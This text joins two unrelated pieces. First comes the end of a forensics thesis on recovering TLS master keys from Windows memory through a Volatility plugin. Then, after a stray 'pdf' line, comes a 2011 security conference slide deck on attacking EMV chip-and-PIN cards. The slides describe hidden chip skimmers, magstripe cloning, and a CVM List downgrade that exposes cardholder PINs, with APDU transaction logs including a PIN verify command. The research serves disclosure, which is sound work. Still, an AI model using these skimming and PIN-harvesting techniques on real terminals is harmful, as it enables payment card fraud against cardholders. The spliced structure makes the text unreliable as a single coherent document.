involved directing Wireshark to use the output from the Volatility plugin, and opening the associated packet capture. The decrypted RDP session can be seen in Figure 4.22 91 Figure 4.22. Decrypted RDP session 92 CHAPTER 5. CONCLUSIONS This thesis answered the question of whether connection parameters exist in the memory of modern Windows systems to retroactively decrypt sessions, affirming that the requisite parameters do exist. A process for reliably extracted the master key paired with a unique connection parameter was developed. This process was then implemented in a technical solution atop one of the community accepted memory forensic frameworks. The author achieved this result by systematically identifying and reverse engineering data structures per the outlined methodology, with several deviations that will likely be incorporated into future work. Finally, ancillary findings about the tools used, and other related structures were identified, which may also contribute to future work. 5.1 Summary of Outcomes A summary of the outcomes of the thesis is as follows: • Cached TLS/SSL master keys were identified and related to the session ID or session ticket • An automated method for extracting these artifacts into a form compatible with Wireshark was developed as a PoC atop of the Volatility framework • Ancillary structures that provided additional context about the connection, including the public certificates, cipher suite were identified • Methods that leverage symbol parsing, the vftable for object scanning, and validation functions / error codes were discussed to improve upon the original methodology • Other structures, such as the session key structure and the client-server random values, were identified, but not linked contextually to specific sessions 93 5.2 Contributions Prior to this research there was no publicly available or discussed mechanism for extracting master keys and private keys from main memory of Windows hosts, and no mechanism existed for decrypting ephemeral connections retroactively on Windows hosts. The author has contributed both a method that is generalizable across Windows Vista to Windows 10 which enables retroactive decryption of ephemeral connections and provided a PoC implementation of this method through one of the main memory analysis frameworks, Volatility. This implementation addresses the use cases documented in the Significance section of Chapter One. In so doing, the author also documented otherwise undocumented structures used by Schannel and the cryptographic libraries for managing key material and session related artifacts. This information can be leveraged by other analysts to develop further research and contribute to the field. The implementation developed is easy to use and dumps output to a Wireshark compatible format for decryption by default. This is designed to be approachable for practitioners such as LEOs who may have had limited technical training or exposure. The cache items can live up to 10 hours by default, which may also outlive the current connection identification methods employed in Volatility and Rekall. There may also be 20,000 entries by default for both the client and server caches, which could provide a wealth of information previously not accessed. Session Tickets were also noted to live 10 hours by default, which indicates that the key to decrypt them should live on the server for at least 10 hours as well. The methods described enable linking the TLS version and cipher suite to unique connection identifiers. Tying cipher suites and protocol versions to connections can help identify exploitative or anomalous connections. For example, SSL downgrade attacks like “POODLE” and weak cipher suite parameters like those used in “LogJam” and “FREAK” would be apparent when observing the caches. 94 The public certificate and server name indicator (SNI) seems to exist in the client cache for connections that are made to virtual hosts sharing a single IP address. Authors of the MiTLS website, which includes members of the Microsoft Research team and is dedicated to identifying and mitigating attacks against SSL and TLS, note that “Because of the popularity of cloud hosting and content delivery networks, it is increasingly common for webservers to serve several websites on the same IP address” (miTLS, n.d., p. 1). Other current OS-based connection identification mechanisms that exist within Volatility only operate at Layer 4 of the OSI model and below. This means that they cannot currently make the distinction between multiple virtual hosts co-located at the same IP address when observing connections. The presence of an entry in the server cache of a host that is supposed to be a client could be an indicator of compromise, and this is almost guaranteed to live for the full 10 hours of the cache default. The information in the server cache of a client would also indicate what type of connection was served – for example, the RDP server component uses a specific signing key pair with the identifier “TSSecKeySet1,” a reference to “Terminal Services.” For the client cache, in addition to the information available from the public certificate, the Session ID can also possibly give information on whether the host on the other end of the connection was a Windows server. Finally, the methods employed do not rely on proprietary functions to extract credentials, meaning that the extraction is analysis environment agnostic. This enables the possibility of transparently decrypting connections retroactively through the use of virtual machines and memory introspection. One could transparently monitor connections inside of a Windows virtual machine, when those connections leverage Schannel. 95 5.3 Anecdotes • Leveraging Microsoft’s provided code to execute “BCryptEnumContextFunctions” and return cipher suites in order of preference, all examined systems returned ephemeral suites first, contrary to the cited Schannel documentation. • Previous research in the literature review focused either heavily or solely on the process itself and not on the underlying data structures. The methodology employed in this research took the reverse approach, which seems to have illuminated overlooked, but valuable structures like the “KPSK” Key storage structure that points to the private key, which other research indirectly touched via some of the Microsoft cryptographic functions. • The author noted that, in the limited samples observed, a symbol for an “CSchannelTelemetryContext” existed in Windows 10, which did not exist in symbols for the Schannel versions observed in Windows 8 and Windows 7, though these versions were admittedly delimited from the study. • An open-source python AES implementation was briefly employed to compare the key schedule to the fixed-length 448 byte field in the “MSSK” structure, verifying that, in the case of AES 256, the first 240 bytes match the key schedule, but the remaining bytes are unaccounted. 5.4 Future Work Given these findings, there are still more questions to be answered and work to be done. This technique developed is self-validating in that, if it fails or is erroneous, it will not correctly decrypt the session. Still, it should be more rigorously evaluated by other practitioners to identify any flaws or acknowledged gaps in the implementation and meet the standards required of a forensic tool. A list of future work the author has identified follows: 96 • Identify any relationship between the client random values and the master key in order to process session tickets in a way that is suitable for use with Wireshark • Set up a rigorous testing paradigm for evaluating the current method thoroughly across platforms and cipher suites to identify edge cases • Examine the functions identified as related to the numbered SSL magic values to gain further insight about the ssl7 structure • Write a Rekall plug-in that leverages symbols for efficiency and accuracy over the current method • Further explore extracting private keys from memory alone using DPAPI-NG • Add functionality to the plug-in to scan all processes with Schannel loaded for session key structures • Identify ticket encryption scheme and add functionality to the LSASSLKey plug-in to decrypt session tickets LIST OF REFERENCES 97 LIST OF REFERENCES Bhargavan, K., Delignat-Lavaud, A., Pironti, A., Langley, A., & Ray, M. (2015, September). Transport Layer Security (TLS) session hash and extended master secret extension (RFC No. 7627). 48377 Fremont Blvd., Suite 117, Fremont, California 94538, USA: Internet Engineering Task Force. Internet Requests for Comments. Retrieved from http://www.ietf.org/rfc/rfc5246.txt Checkoway, S., Niederhagen, R., Everspaugh, A., Green, M., Lange, T., Ristenpart, T., . . . Fredrikson, M. (2014). On the practical exploitability of Dual EC in TLS implementations. In 23rd USENIX security symposium (USENIX security 14) (pp. 319–335). Cohen, M. (2015a). Rekall memory forensics framework. http://www.rekall-forensic.com/about.html. Cohen, M. (2015b). Rekall memory forensics framework. http://www.rekall-forensic.com/index.html. Daigniere, F. (2013). TLS ‘secrets’ [Conference]. https://media.blackhat.com/us-13/US-13-Daigniere-TLS-Secrets-WP.pdf. (Presentation at BlackHat USA 2013) Delphy, B. (2013). Windbg et l’extension de mimikatz! (Blog No. November 25). http://blog.gentilkiwi.com/securite/mimikatz/windbg-extension. Delphy, B. (2016a). Mimikatz. https://github.com/gentilkiwi/mimikatz. Delphy, B. (2016b). Mimikatz. https://github.com/gentilkiwi/mimikatz/tree/ master/mimikatz/modules/sekurlsa/crypto/kuhl\ m\ sekurlsa\ nt6.c. Dierks, T., & Allen, C. (1999, January). The TLS protocol version 1.0 (RFC No. 2246). 48377 Fremont Blvd., Suite 117, Fremont, California 94538, USA: Internet Engineering Task Force. Internet Requests for Comments. Retrieved from http://www.ietf.org/rfc/rfc2246.txt Dierks, T., & Rescorla, E. (2008, August). The Transport Layer Security (TLS) protocol version 1.2 (RFC No. 5246). 48377 Fremont Blvd., Suite 117, Fremont, California 94538, USA: Internet Engineering Task Force. Internet Requests for Comments. Retrieved from http://www.ietf.org/rfc/rfc5246.txt (http://www.rfc-editor.org/rfc/rfc5246.txt) Diffie, W., Van Oorschot, P. C., & Wiener, M. J. (1992). Authentication and authenticated key exchanges. Designs, Codes and cryptography, 2(2), 107–125. 98 Dolan-Gavitt, B. (2007). The VAD tree: A process-eye view of physical memory. Digital Investigation, 4, 62–64. Dreijer, J., & Rijs, S. (2013, December). Perfect forward not so secrecy. https://os3.nl/ media/2013-2014/courses/ssn/projects/ perfect forward not so secrecy report.pdf. Elliot, S. (2014). RDP Replay (Blog No. October 30). http://www.contextis.com/resources/blog/rdp-replay/. Freier, A., Karlton, P., & Kocher, P. (2011, August). The Secure Sockets Layer (SSL) protocol version 3.0 (RFC No. 6101). 48377 Fremont Blvd., Suite 117, Fremont, California 94538, USA: Internet Engineering Task Force. Internet Requests for Comments. Retrieved from http://www.ietf.org/rfc/rfc6101.txt Garfinkel, S. L. (2013). Digital media triage with bulk data analysis and bulk extractor. Computers & Security, 32, 56–72. Ge↵ner, J. (2011). Exporting non-exportable RSA keys [Conference]. https://media.blackhat.com/bh-eu-11/Ge↵ner/ BlackHat\ EU\ 2011\ Ge↵ner\ Exporting\ RSA\ Keys-WP.pdf. (Presentation at BlackHat Europe 2011) Goh, E.-J., & Boneh, D. (2001, October). SSLv3/TLS Sni↵er (proxy server): Documentation page [Tool Documentation]. https://crypto.stanford.edu/⇠eujin/sslsni↵er/documentation.html. Halderman, J. A., Schoen, S. D., Heninger, N., Clarkson, W., Paul, W., Calandrino, J. A., . . . Felten, E. W. (2008). Lest we remember: Cold-boot attacks on encryption keys. In 17th USENIX security symposium (USENIX security 08) (pp. 45–60). Huppert, P. (2015). Volatility. https://github.com/volatilityfoundation/ community/blob/master/PhilipHuppert/rsakey.py. (RSAKey community plugin) Inman, K., & Rudin, N. (2002). The origin of evidence. Forensic Science International, 126(1), 11–16. Intel Corporation. (2015, December). Intel R ⃝ 64 and IA-32 Architectures software developer’s manual (Computer software manual No. 325462-057US). Jaqueme, L. (2015). Volatility. https://github.com/volatilityfoundation/ community/blob/master/Lo%C3%AFcJaquemet/vol haystack.py. (HayStack community plugin) Klein, T. (2006, February). All your private keys are belong to us. extracting RSA private keys and certificates from process memory. http://www.trapkit.de/research/sslkeyfinder/keyfinder v1.0 20060205.pdf. Kornblum, J. (2011). Finding aes keys (Blog No. January 18). http://jessekornblum.livejournal.com/269749.html. 99 Ligh, M. H., Case, A., Levy, J., & Walters, A. (2014). The art of memory forensics: Detecting malware and threats in Windows, Linux, and Mac memory. John Wiley & Sons. Microsoft. (n.d.-a). Certificate file formats (Technet Article No. cc770735). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://technet.microsoft.com/en-us/library/cc770735.aspx. Microsoft. (n.d.-b). Coding style conventions (Developer Network Article No. 378932). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/windows/desktop/aa378932.aspx. Microsoft. (n.d.-c). Common data types (Document No. cc230309). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/cc230309.aspx. Microsoft. (n.d.-d). Cryptographic primitives (Document No. bb204776). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/windows/desktop/bb204776.aspx. Microsoft. (n.d.-e). Memory limits for Windows and Windows Server releases (Developer Network Article No. aa36677). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/windows/desktop/aa366778.aspx. Microsoft. (n.d.-f). Memory pools (Document No. aa965226). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/windows/desktop/aa965226.aspx. Microsoft. (n.d.-g). Names of classes, structs, and interfaces (Document No. ms299040). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/ms299040.aspx. Microsoft. (n.d.-h). PEB structure (Document No. aa813706). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706.aspx. Microsoft. (n.d.-i). s (search memory) (WinDbg Document No. ↵558855). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/windows/hardware/↵558855.aspx. Microsoft. (2003a, July). How TLS/SSL works (Document No. cc783349). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://technet.microsoft.com/en-us/library/cc783349.aspx. Microsoft. (2003b, March). TLS/SSL tools and settings (Document No. cc776467). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://technet.microsoft.com/en-us/library/cc776467.aspx. Microsoft. (2010, July). How to create a user-mode process dump file in Windows Vista and in Windows 7 (Knowledge Base Article No. 931673). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://support.microsoft.com/en-us/kb/931673. 100 Microsoft. (2014a, July). CNG features (Document No. bb204775). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/windows/desktop/bb204775.aspx. Microsoft. (2014b, July). Key storage and retrieval (Document No. bb204778). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/windows/desktop/bb204778.aspx. Microsoft. (2014c, July). Prioritizing Schannel cipher suites (Document No. bb870930). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/windows/desktop/bb870930.aspx. Microsoft. (2014d, July). Transport Layer Security protocol (Document No. dn786441). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://technet.microsoft.com/en-us/library/ dn786441.aspx#BKMK SessionResumption. Microsoft. (2015a, July). DER encoding of ASN.1 types (Document No. bb648640). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/windows/desktop/bb648640.aspx. Microsoft. (2015b, November). Public and private symbols (Document No. ↵553493). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://msdn.microsoft.com/en-us/library/windows/hardware/↵553493.aspx. Microsoft. (2015c). Remote Desktop Connection: frequently asked questions. http:// windows.microsoft.com/en-us/windows/remote-desktop-connection-faq. (Question “Which PCs can I connect to using Remote Desktop Connection?”) Microsoft. (2015d, July). Schannel SSP overview (Document No. dn786429). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://technet.microsoft.com/en-us/library/dn786429.aspx. Microsoft. (2015e, November). TLS/SSL settings (Document No. dn786418). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Corporation. https://technet.microsoft.com/en-us/library/dn786418.aspx. Microsoft. (2015f). Upgrade to Windows 10: Faq. http://windows.microsoft.com/ en-us/windows-10/upgrade-to-windows-10-faq. (Question “What is the free upgrade to Windows 10”) miTLS. (n.d.). Cross-layer protocol attacks. https://mitls.org/pages/attacks/VHC. Mozilla. (2015). NSS key log format. Mozilla Developer Network. Retrieved from https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/ Key Log Format 101 Myerson, T. (2015). Windows 10: Preparing to upgrade one billion devices (Blog No. July 2). https://blogs.windows.com/windowsexperience/2015/07/02/ windows-10-preparing-to-upgrade-one-billion-devices/. NIST. (2001, November). Announcing the Advanced Encryption Standard (AES) (FIPS Publication No. 197). 100 Bureau Drive, Stop 1070, Gaithersburg, MD 20899-1070, USA: National Institute of Standards and Technology (NIST). Federal Information Processing Standards (FIPS) Publication. Retrieved from http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf Petroni, N. L., Jr., Walters, A., Fraser, T., & Arbaugh, W. A. (2006, December). Fatkit: A framework for the extraction and analysis of digital forensic data from volatile system memory. Digit. Investig., 3(4), 197–210. Retrieved from http://dx.doi.org/10.1016/j.diin.2006.10.001 doi: 10.1016/j.diin.2006.10.001 Picasso, F. (2015). Happy dpapi! (Blog No. January 13). http://blog.digital-forensics.it/2015/01/happy-dpapi.html. Picod, J.-M. (2016). Dpapick. https://bitbucket.org/jmichel/dpapick/src/ 37a929678b0c5d6a6f025e26d262fbfcebaeebb7/DPAPI/Probes/certificate.py. (Certificate Probe python file) Polk, T., McKay, K., & Chokhani, S. (2014). Guidelines for the selection, configuration, and use of Transport Layer Security (TLS) implementations (SP No. 800-52 Revision 1). 100 Bureau Drive, Stop 1070, Gaithersburg, MD 20899-1070, USA: National Institute of Standards and Technology (NIST). NIST Special Publication. Retrieved from http://dx.doi.org/10.6028/NIST.SP.800-52r1 doi: 10.6028/NIST.SP.800-52r1 Russinovich, M. E., Solomon, D. A., & Allchin, J. (2005). Microsoft Windows internals: Microsoft Windows Server 2003, Windows XP, and Windows 2000 (Vol. 4). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Press Redmond. Russinovich, M. E., Solomon, D. A., & Ionescu, A. (2012). Windows internals (Vol. 6). One Microsoft Way, Redmond, WA 98052-7329, USA: Microsoft Press Redmond. Salowey, J., Zhou, H., Eronen, P., & Tschofenig, H. (2008, January). Transport Layer Security (TLS) session resumption without server-side state (RFC No. 5077). 48377 Fremont Blvd., Suite 117, Fremont, California 94538, USA: Internet Engineering Task Force. Internet Requests for Comments. Retrieved from http://www.ietf.org/rfc/rfc5077.txt Shamir, A., & van Someren, N. (1998). Playing ‘hide and seek’ with stored keys. In Financial cryptography (pp. 118–124). Shirey, R. (2007, August). Internet security glossary, version 2 (RFC No. 4949). 48377 Fremont Blvd., Suite 117, Fremont, California 94538, USA: Internet Engineering Task Force. Internet Requests for Comments. Retrieved from http://www.ietf.org/rfc/rfc4949.txt 102 Taubert, T. (2014). Botching forward secrecy. the sad state of server-side TLS session resumption implementations (Blog No. November). https://timtaubert.de/blog/2014/11/ the-sad-state-of-server-side-tls-session-resumption-implementations/. Volatility. (2015). Volatility. https://github.com/volatilityfoundation/volatility/ blob/master/volatility/plugins/dumpcerts.py. (DumpCerts plugin) Walters, A., & Petroni, N. L. (2007). Volatools: Integrating volatile memory into the digital investigation process [Conference]. https://www.blackhat.com/ presentations/bh-dc-07/Walters/Presentation/bh-dc-07-Walters-up.pdf. (Presentation at BlackHat DC 2007) Warren, T. (2015). Why Microsoft is calling Windows 10 ‘the last version of Windows’ (No. May 7). http://www.theverge.com/2015/5/7/8568473/ windows-10-last-version-of-windows. Wireshark. (2015). Wireshark. https://github.com/wireshark/wireshark/blob/ master/epan/dissectors/packet-ssl-utils.c.
pdf
Chip & PIN is definitely broken Credit Card skimming and PIN harvesting in an EMV world Andrea Barisani <[email protected]> Daniele Bianco <[email protected]> Chip & PIN is definitely broken ­ v1.3  Copyright 2011 Inverse Path S.r.l. Adam Laurie <[email protected]> Zac Franken <[email protected]> What is EMV? EMV stands for Europay, MasterCard and VISA, the global standard for inter-operation of integrated circuit cards (IC cards or "chip cards") and IC card capable point of sale (POS) terminals and automated teller machines (ATMs), for authenticating credit and debit card transactions. IC card systems based on EMV are being phased in across the world, under names such as "IC Credit" and "Chip and PIN". Source: Wikipedia  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Why EMV?  ICC / smartcard  improved security over existing magnetic stripe technology  “offline” card verification and transaction approval  multiple applications on one card  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Liability shift  liability shifts away from the merchant to the bank in most cases (though if merchant does not roll EMV then liability explicitly shifts to it)  however the cardholder is assumed to be liable unless they can unquestionably prove they were not present for the transaction, did not authorize the transaction, and did not inadvertently assist the transaction through PIN disclosure  PIN verification, with the help of EMV, increasingly becomes “proof” of cardholder presence  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Liability shift  VISA Zero Liability fine print (US): Does not apply to ATM transactions, PIN transactions not processed by Visa, or certain commercial card transactions. Individual provisional credit amounts are provided on a provisional basis and may be withheld, delayed, limited, or rescinded by your issuer based on factors such as gross negligence or fraud, delay in reporting unauthorized use, investigation and verification of claim and account standing and history. You must notify your financial institution immediately of any unauthorized use. Transaction at issue must be posted to your account before provisional credit may be issued. For specific restrictions, limitations and other details, please consult your issuer.  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Liability shift Canadian Imperial Bank of Commerce (CIBC) spokesman Rob McLeod said in relation to a $81,276 fraud case: “our records show that this was a chip-and-PIN transaction. This means [the customer] personal card and personal PIN number were used in carrying out this transaction. As a result, [the customer] is liable for the transaction.” The Globe and Mail, 14 Jun 2011  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 EMV adoption  03/2006 EPC Card Fraud Prevention Task Force presentation: “Ban of magstripe fallback foreseen (date to be decided)”  as of 03/2011 magstripe fallback is still accepted pretty much everywhere  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 EMV is broken  S. J. Murdoch, S. Drimer, R. Anderson, M. Bond, “Chip and PIN is Broken” - University of Cambridge  the excellent group of researchers from Cambridge proved that stolen cards can be successfully used without knowing the PIN  the industry claims difficult practicality of the attacks, at least one bank rolled out detection/blocking procedures  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Skimming, Cloning and PIN harvesting  skimmer: hidden electronic device that intercepts card <> terminal communication and collects available data  we analyze the practicality of credit card information skimming, cloning and PIN harvesting on POS terminals  we intentionally ignore magstripe skimming (which is still effective and widely used) and focus on the chip interface  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 ATM skimmers  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 EMV skimmers  we predict that skimming the chip will become an extremely appealing target to fraudsters  the chip interface is inherently accessible  it becomes impossible for the user to verify if the terminal has been tampered as the chip interface is not visible (unlike most magstripe one for POS terminals)  an EMV skimmer could go undetected for a very long time and requires little installation effort  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 EMV skimmer  trivial installation by “hooking” with a special card  powered by the POS itself  data can be downloaded with a special card recognized by the skimmer  little development effort + cheap  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 EMV smartcards  information is stored on a filesystem organized in applications, files and records  the terminal talks to the card via APDU messages for reading records and issuing commands Examples: 00A404000E315041592E5359532E4444463031 <- Select '1PAY.SYS.DDF01' 0020008008246666FFFFFFFFFF <- Verify PIN ('6666')  the EMV skimmer can intercept, read, man-in-the middle every part of the terminal <> ICC exchange  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Terminal <> ICC exchange 1 | initiate application processing 2 | read application data 3 | offline data authentication (if indicated in the AIP) 4 | cardholder verification (if indicated in the AIP) 5 | issuer script processing  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Read application data  stored with BER-TLV templates and read by the terminal, some examples: tag name ----|---------------------------------------- 4f Application Identifier (VISA) 5f2d Language Preference (itenfrde) 9f1f Track 1 Discretionary Data 57 Track 2 Equivalent Data 5f25 Application Effective Date 5f24 Application Expiration Date 5a Application PAN (credit card number) 8e Cardholder Verification Method (CVM) List 5f20 Cardholder Name 9f36 Application Transaction Counter (ATC) 9f17 PIN Try Counter  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 EMV application data - magstripe clone  Copyright 2011 Inverse Path S.r.l. The CVV (228) matches the magstripe one only for cards that do not use iCVV (a different stored value to protect against this attack, introduced in January 2008 but not present on all cards) Chip & PIN is definitely broken ­ v1.3 EMV application data - magstripe clone  while the service code on the magstripe might indicate that the chip must be used, inserting a card without a readable chip will trigger magstripe fallback on all tested terminals  EMV skimmers cannot clone successfully to magstripe if iCVV is used  however it is fair to say that the possibility of massive harvesting + being protected by a 3 digits code is not a comforting scenario  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 EMV application data - online usage  application data can be used to perform Card Not Present transactions (online, phone, ...) with parties that do not check Card Security Code (CVV, CVV2, ...) and do not employ 3-D secure (Verified by Visa, MasterCard SecureCode also known as phishing heaven)  if you think that the amount of websites that do not check the security code is negligible...think again  ironically one of the authors has been defrauded on such sites while this presentation was being written...  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3  Copyright 2011 Inverse Path S.r.l. optional security code Chip & PIN is definitely broken ­ v1.3 Offline data authentication  depending on the chip technology three methods are available: Static Data Authentication (SDA), Dynamic Data Authentication (DDA), Combined Data Authentication (CDA)  used by the terminal to validate the authenticity of the card  enables offline transactions where supported  never used by ATM (always online)  Visa and MasterCard mandate all cards issued after 2011 to use DDA  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Static Data Authentication (SDA) cards  cheapest and most widely used technology  selected records (advertised by the card and customized by the issuer) are signed with a static signature  symmetric key is used for online transactions  offline PIN verification is always cleartext 8f: Certificate Authority Public Key Index (PKI) 90: Issuer PK Certificate 9f32: Issuer PK Exponent 92: Issuer PK Remainder 93: Signed Static Application Data  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Dynamic Data Authentication (DDA) cards  chip is more expensive, rare usage as of 2011  static data validation (against hash within certificate)  dynamic data validation, terminal asks the card to sign data + random number with ICC PK  ICC PK embeds PAN (limiting private key usage to this card)  offline PIN verification can be cleartext or enciphered 8f: Certificate Authority Public Key Index (PKI) 90: Issuer PK Certificate 9f46: ICC PK Certificate 9f32: Issuer PK Exponent 9f47: ICC PK Exponent 92: Issuer PK Remainder 9f48: ICC PK Remainder 9f49: Dynamic Data Authentication Data Object List (DDOL)  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Chip cloning  SDA cards can be cloned and used without PIN for offline transactions only (“Yes” card)  DDA cards clone ineffective for offline and online transactions, however a valid DDA card can be used to pass offline authentication and perform fake offline transaction (not tied to the authentication)  offline transactions are rare in EU  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Threats  data stealing: we discussed EMV skimming usage for magstripe cloning and online usage  card stealing: Cambridge research shows that stolen cards can be used without PIN, hopefully this attack will be fixed  does state of the art EMV usage really protect against PIN harvesting and therefore the use of stolen cards?  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Cardholder verification  the card advertises to the terminal the cardholder verification method preference via the CVM List (tag 8E) Cardholder Verification Method (CVM) Condition Codes ----------------------------------------------------------------------------------------------------------------------------- Bits Meaning Value 8 7 6 5 4 3 2 1 0 RFU N/A 0 Fail cardholder verification if this CVM is unsuccessful N/A 1 Apply succeeding CV rule if this CVM is unsuccessful N/A 0 0 0 0 0 0 Fail CVM processing 00 or 40 0 0 0 0 0 1 Plaintext PIN verification performed by ICC 01 or 41 0 0 0 0 1 0 Enciphered PIN verified online 02 or 42 0 0 0 0 1 1 Plaintext PIN verification by ICC and signature (paper) 03 or 43 0 0 0 1 0 0 Enciphered PIN verification by ICC 04 or 44 0 0 0 1 0 1 Enciphered PIN verification by ICC and signature (paper) 05 or 45 0 0 0 1 0 1 Enciphered PIN verification by ICC and signature (paper) 05 or 45 0 x x x x x Values in range 000110 – 011101 reserved for future use 06-1D/16-5D 0 1 1 1 1 0 Signature (paper) 1E or 5E 0 1 1 1 1 1 No CVM required 1F or 5F 1 0 x x x x Values in range 100000 – 101111 reserved for future use 20-2F/60-6F 1 1 x x x x Values in range 110000 – 111110 reserved for future use 30-3E/70-7E 1 1 1 1 1 1 Not available 3F or 7F  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 CVM List  the CVM List is nowadays signed on all cards, therefore it is believed to be tamper proof  if the preferred authentication method is Signature (paper), Enciphered PIN verified online or Enciphered PIN verification by ICC then the PIN is not sent by the terminal to the card  it is believed that only when Plaintext PIN verification performed by ICC is present and selected from the CVM List the PIN can be harvested by the EMV skimmer  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Action Codes  assuming a scenario with DDA only cards and a “secure” CVM List can we still harvest the PIN ?  Issuer Action Codes (card) and Terminal Action Codes (terminal) specify policies for accepting or rejecting transactions (using TVR specifications)  Issuer Action Codes and Terminal Action Codes are OR'ed  three kinds: Denial, Online, Default; the Online Action Codes specify which failure conditions trigger online transactions  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Action Codes Example 9f0e Issuer Action Code - Denial (5 bytes): 00 00 00 00 00 9f0f Issuer Action Code - Online (5 bytes): f0 78 fc f8 00 9f0d Issuer Action Code – Default (5 bytes): f0 78 fc a0 00  translation: “do not deny a transaction without attempting to go online, if offline SDA fails transmit the transaction online”  in all tested terminals / cards we were able to manipulate the action codes (when necessary) so that tampering with the CVM List would not result in offline rejection  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3  Copyright 2011 Inverse Path S.r.l. CVM List downgrade  the modified CVM List is honoured by the terminal which means that Plaintext PIN verification performed by ICC can be presented enabling PIN harvesting for SDA/DDA cards Chip & PIN is definitely broken ­ v1.3  Copyright 2011 Inverse Path S.r.l. transaction log: card with online PIN verification 00a4040007a0000000031010 Select AID (VISA) 00c0000027 Get additional data 80a80000028300 Get processing options 00c0000010 Get additional data 00b2010c00 Read data files... 00b2010c40 00b2011400 00b20114c3 00b2021400 00b20214b2 00b2011c00 00b2011c52 00b2021c00 00b2021c45 80ae80001d... Generate AC (online transaction) ... Chip & PIN is definitely broken ­ v1.3  Copyright 2011 Inverse Path S.r.l. transaction log: same card with tampered CVM 00a4040007a0000000031010 Select AID (VISA) 00c0000027 Get additional data 80a80000028300 Get processing options 00c0000010 Get additional data 00b2010c00 Read data files... 00b2010c40 00b2011400 00b20114c3 00b2021400 00b20214b2 00b2011c00 00b2011c52 00b2021c00 00b2021c45 80ca9f1700 Get PIN try counter (unknown length) 80ca9f1704 Get PIN try counter (corrected length) 0020008008241234ffffffffff Verify PIN (1234) 80ae80001d... Generate AC (online transaction) ... Chip & PIN is definitely broken ­ v1.3  Copyright 2011 Inverse Path S.r.l. Backend detection - Terminal Data 8 7 6 5 4 3 2 1 Bits --------------------------------------------------------------------- Terminal Verification Results (byte 1 of 5) 1 x x x x x x x Offline data processing was not performed x 1 x x x x x x SDA failed x x 1 x x x x x ICC data missing x x x 1 x x x x Card number appears on hotlist x x x x 1 x x x DDA failed x x x x x 1 x x CDA failed --------------------------------------------------------------------- CVM Results (byte 3 of 3) 0 0 0 0 0 0 0 0 unknown 0 0 0 0 0 0 0 1 Failed 0 0 0 0 0 0 1 0 Successful CVM Results byte 1: code of CVM Performed CVM Results byte 2: code of CVM Condition Chip & PIN is definitely broken ­ v1.3  Copyright 2011 Inverse Path S.r.l. Backend detection - Card Data 8 7 6 5 4 3 2 1 Bits --------------------------------------------------------------------- Cardholder Verification Results (bytes 1,2 of 4) Common 